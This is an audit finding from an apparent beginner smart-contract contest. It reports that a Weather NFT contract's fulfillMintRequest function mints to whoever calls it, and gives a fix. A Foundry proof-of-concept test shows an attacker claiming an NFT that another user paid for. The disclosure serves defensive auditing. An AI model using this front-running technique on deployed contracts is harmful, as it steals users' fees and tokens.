Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Minting via fulfillMintRequest

Root + Impact

Description

  • In normal behavior, a user calls the requestMintWeatherNFT() function to mint a Weather NFT. They send the required ETH for minting and optionally deposit LINK tokens if they want automation via Chainlink Keepers. The function triggers a weather data request using Chainlink Functions. Later, when the response is ready, the fulfillMintRequest() function is expected to be called, which uses the data to mint an NFT to the user who originally requested it.

  • However, the contract does not verify the identity of the original requester during the fulfillMintRequest() call. This allows anyone, including an attacker, to call this function with a valid requestId — even if they didn’t pay or request the NFT. When they do this, the contract mints the NFT to the attacker's address, since msg.sender is used during minting without any verification.

function fulfillMintRequest(bytes32 requestId) external {
...
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
...
@> _mint(msg.sender, tokenId); // <-- Always mints to whoever calls this function
...
}

Risk

Likelihood:

  • This will happen whenever a malicious actor monitors the blockchain for pending NFT requests and sees a valid requestId. Since the fulfillMintRequest() function is public and lacks access control, anyone can call it at the right time.

  • The attacker can easily wait for the Chainlink response to be ready (by checking if response.length > 0) and then call the function before the legitimate user or Chainlink does.

Impact:

  • The NFT gets minted to the attacker instead of the legitimate user.

  • The user loses both the ETH minting fee and LINK deposit.

  • The attacker receives an NFT for free, breaking the trust and fairness of the minting process.

Proof of Concept

function test_steal_Nft() public {
address attacker = makeAddr("attacker");
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 1e18;
uint256 tokenId = weatherNft.s_tokenCounter();
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
assert(reqId != bytes32(0));
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
address owner = weatherNft.ownerOf(tokenId);
console.log("User Address", address(user));
console.log("Attacker Address", address(attacker));
console.log("Token ID", tokenId);
console.log("NFT Owner:", owner);
vm.stopPrank();
}

Recommended Mitigation

Always store the original requester’s address when the mint request is made, and use that stored address when minting. Do not use msg.sender inside fulfillMintRequest().

- _mint(msg.sender, tokenId);
+ _mint(_userMintRequest.user, tokenId); // <- mint to original requester
Updates

Appeal created

bube Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.